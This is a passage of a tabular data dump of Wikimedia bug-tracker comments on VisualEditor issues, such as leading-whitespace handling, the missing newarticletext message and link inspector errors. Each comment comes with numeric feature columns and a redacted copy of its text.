That would be one solution that is quite generalisable, but could be a great deal more work.",,,1375208057,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,24.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,4.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,3.5555555555555554,0.6111111111111112,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Also, with gerrit 76223 VisualEditor users can now edit through <nowiki>s transparently.

QUOTE
QUOTE

That would be one solution that is quite generalisable, but could be a great deal more work."
249605,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,*** Bug 52252 has been marked as a duplicate of this bug. ***,,,1375203763,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52252 has been marked as a duplicate of this bug. ***
249601,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"With bug 50841 we now convert 

[space]Foo

to

<nowiki> </nowiki>Foo

(previously <nowiki> Foo</nowiki>)

This is the correct behaviour.

We should be careful going do the road of automatically correcting what we believe to be typos. Perhaps this, and other whitespace issues (e.g. double spaces), should be flagged up to the user (with a wiggle underline?)",,,1375201550,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,1.0,6.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,9.0,5.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,12.0,3.814814814814815,0.691358024691358,"With bug 50841 we now convert 

[space]Foo

to

<nowiki> </nowiki>Foo

(previously <nowiki> Foo</nowiki>)

This is the correct behaviour.

We should be careful going do the road of automatically correcting what we believe to be typos. Perhaps this, and other whitespace issues (e.g. double spaces), should be flagged up to the user (with a wiggle underline?)"
249598,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,*** Bug 51509 has been marked as a duplicate of this bug. ***,,,1374168615,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51509 has been marked as a duplicate of this bug. ***
249594,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Without whitespace stripping (either in VE or Parsoid) and no nowiki, that text will become <pre>-formatted.

Quickly discussed with Gabriel on IRC. It is probably better fixed in VE since Parsoid doesn't have contextual information about where the space is meaningful or not.

If leading whitespace at start of line is desired by the editor, then VE should convert them to &nbsp; or if nowikis are acceptable, the spaces can be left alone.  In either case, this kind of edits should hopefully be rare.",,,1374006352,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.5,1.0,4.0,2.5,0.0,0.0,2.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,11.5,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,10.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,2.5,5.0,7.5,3.0,4.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,11.5,5.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,4.127450980392156,0.8627450980392157,"Without whitespace stripping (either in VE or Parsoid) and no nowiki, that text will become <pre>-formatted.

Quickly discussed with Gabriel on IRC. It is probably better fixed in VE since Parsoid doesn't have contextual information about where the space is meaningful or not.

If leading whitespace at start of line is desired by the editor, then VE should convert them to &nbsp; or if nowikis are acceptable, the spaces can be left alone.  In either case, this kind of edits should hopefully be rare."
249587,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"If VE can strip leading whitespace in paragraphs, that will eliminate these errors.  Alternatively, Parsoid can do that normalization. Unclear where this should be done.  Will discuss on IRC.",,,1374005921,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,4.405405405405405,0.8108108108108109,"If VE can strip leading whitespace in paragraphs, that will eliminate these errors.  Alternatively, Parsoid can do that normalization. Unclear where this should be done.  Will discuss on IRC."
249579,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,and https://en.wikipedia.org/w/index.php?title=John_Altoon&diff=prev&oldid=564536250,,,1374001895,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,and URL
53459,VisualEditor: Show the <newarticletext> message when creating a new article,"When creating a new article in the source editor, a box with the message newarticletext appears at the top. It doesn't appear in the VisualEditor.

Compare:

source: https://en.wikipedia.org/w/index.php?title=Aklotspa&action=edit

VE: https://en.wikipedia.org/wiki/Aklotspa?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1374000660,1374676711.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-q5qzozhueiwufmgr5jwq,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,16.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.8793103448275863,0.603448275862069,"When creating a new article in the source editor, a box with the message newarticletext appears at the top. It doesn't appear in the VisualEditor.

Compare:

source: URL

VE: URL

--------------------------
**Version**: unspecified
**Severity**: trivial"
249429,VisualEditor: Show the <newarticletext> message when creating a new article,Fixed and will get deployed in a few minutes.,,,1374676711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,True,,,3,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed and will get deployed in a few minutes.
249420,VisualEditor: Show the <newarticletext> message when creating a new article,"Change 75563 merged by jenkins-bot:
Show newarticletext(anon) when creating a new page

https://gerrit.wikimedia.org/r/75563",,,1374676401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 75563 merged by jenkins-bot:
Show newarticletext(anon) when creating a new page

GERRIT_URL"
249414,VisualEditor: Show the <newarticletext> message when creating a new article,"Change 75563 had a related patch set uploaded by Esanders:
Show newarticletext(anon) when creating a new page

https://gerrit.wikimedia.org/r/75563",,,1374659039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Change 75563 had a related patch set uploaded by Esanders:
Show newarticletext(anon) when creating a new page

GERRIT_URL"
249409,VisualEditor: Show the <newarticletext> message when creating a new article,"The resolution of Bug 51160 gives me hope. French Wikipedia transcludes Talk:.../Suppression subpages for some deleted articles.
 
https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial%3ARecherche&profile=advanced&search=Suppression&fulltext=Search&ns1=1&redirs=1&profile=advanced",,,1374605847,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.130434782608695,0.9565217391304348,"The resolution of Bug 51160 gives me hope. French Wikipedia transcludes Talk:.../Suppression subpages for some deleted articles.
 
URL"
249406,VisualEditor: Show the <newarticletext> message when creating a new article,"@James, before marking this trivial, I hope you did an impact assessment on
1. https://de.wikipedia.org/wiki/MediaWiki:Newarticletext-0
2. https://es.wikipedia.org/wiki/MediaWiki:Newarticletext
3. https://fr.wikipedia.org/wiki/MediaWiki:Newarticletext
4. https://he.wikipedia.org/wiki/MediaWiki:Newarticletext
5. https://it.wikipedia.org/wiki/MediaWiki:Newarticletext
6. https://nl.wikipedia.org/wiki/MediaWiki:Newarticletext
7. https://pl.wikipedia.org/wiki/MediaWiki:Newarticletext
8. https://ru.wikipedia.org/wiki/MediaWiki:Newarticletext
9. https://sv.wikipedia.org/wiki/MediaWiki:Newarticletext

I know you didn't, because on at least one of those projects there is critical functionality in this message.  Since you and O Keyes (on a different bug about missing interface messages) are being so rude, I'll let you find out the hard way.",,,1374535182,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,2.0,0.0,3.0,9.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,2.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,2.5,3.0,10.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,0.0,5.5,9.5,4.0,0.0,0.0,0.0,5.5,0.0,0.0,1.5,0.0,1.5,0.0,1.0,2.0,3.073476052249637,0.7066400580551524,"SCREEN_NAME, before marking this trivial, I hope you did an impact assessment on
1. URL
2. URL
3. URL
4. URL
5. URL
6. URL
7. URL
8. URL
9. URL

I know you didn't, because on at least one of those projects there is critical functionality in this message.  Since you and O Keyes (on a different bug about missing interface messages) are being so rude, I'll let you find out the hard way."
249404,VisualEditor: Show the <newarticletext> message when creating a new article,"(In reply to comment #1)
> This is something that obviously must be fixed before VE is enabled by
> default, which is planned for Real Soon Now(tm).

By default for whom on which wiki? It's been enabled by default on enwiki since 1 July for logged-in users and since 15 July for anonymous users too.",,,1374507374,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,26.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,2.0,26.0,7.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.782608695652174,"(In reply to comment #1)
QUOTE
QUOTE

By default for whom on which wiki? It's been enabled by default on enwiki since 1 July for logged-in users and since 15 July for anonymous users too."
249401,VisualEditor: Show the <newarticletext> message when creating a new article,"This is something that obviously must be fixed before VE is enabled by default, which is planned for Real Soon Now(tm).",,,1374302681,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q5qzozhueiwufmgr5jwq,task_subcomment,,True,c1,3,False,,,2,,0.0,4.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9166666666666666,"This is something that obviously must be fixed before VE is enabled by default, which is planned for Real Soon Now(tm)."
53439,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"1. Edit page
2. Focus a link and open the link inspector, have the link input widget focussed
3. Make a change (or don't) and click ""Save page"".

The surface dims, but the inspector stays open and at full opacity.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373981940,1408734627.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-eto6zg3t57jsyeutf64w,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,10.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.410958904109589,0.6164383561643836,"1. Edit page
2. Focus a link and open the link inspector, have the link input widget focussed
3. Make a change (or don't) and click ""Save page"".

The surface dims, but the inspector stays open and at full opacity.

--------------------------
**Version**: unspecified
**Severity**: normal"
248279,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Confirmed, the link and language inspectors close on triggering the save dialog.",,,1408734627,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.928571428571429,0.9285714285714286,"Confirmed, the link and language inspectors close on triggering the save dialog."
248274,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Is this fixed now? I can't reproduce this any more. Clicking Save page closes the link inspector for me, and it seems to save the changes correctly too.",,,1408687329,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,False,,,59,,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,15.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,6.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.787878787878788,0.9090909090909091,"Is this fixed now? I can't reproduce this any more. Clicking Save page closes the link inspector for me, and it seems to save the changes correctly too."
248268,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,*** Bug 63050 has been marked as a duplicate of this bug. ***,,,1401996119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 63050 has been marked as a duplicate of this bug. ***
248263,VisualEditor: Inspectors and context menu should close when blurring the document and/or when opening the save dialog,"Same for context menu (e.g. focus a link, but don't open the inspector yet)",,,1373982044,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eto6zg3t57jsyeutf64w,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,"Same for context menu (e.g. focus a link, but don't open the inspector yet)"
53415,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","The link inspector ignores the text entered when the user does not wait for the ""matching page"" results to appear (Chrome/Ubuntu) before pressing ""enter"". If the user is adding a completely new link, the selection appears offscreen and we get a JavaScript error:

Uncaught Error: No class registered by that name: undefined 

This behavior is similar to earlier issues such as bug 42278 and bug 49941.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373936940,1375304939.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,1.0,0.0,1.0,7.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,7.0,5.0,0.0,4.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,4.08,0.71,"The link inspector ignores the text entered when the user does not wait for the ""matching page"" results to appear (Chrome/Ubuntu) before pressing ""enter"". If the user is adding a completely new link, the selection appears offscreen and we get a JavaScript error:

Uncaught Error: No class registered by that name: undefined 

This behavior is similar to earlier issues such as bug 42278 and bug 49941.

--------------------------
**Version**: unspecified
**Severity**: major"
246849,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links",This is now merged and will be deployed later.,,,1375304939,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,This is now merged and will be deployed later.
246845,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","Change 76839 merged by jenkins-bot:
Link inspector bug fixes

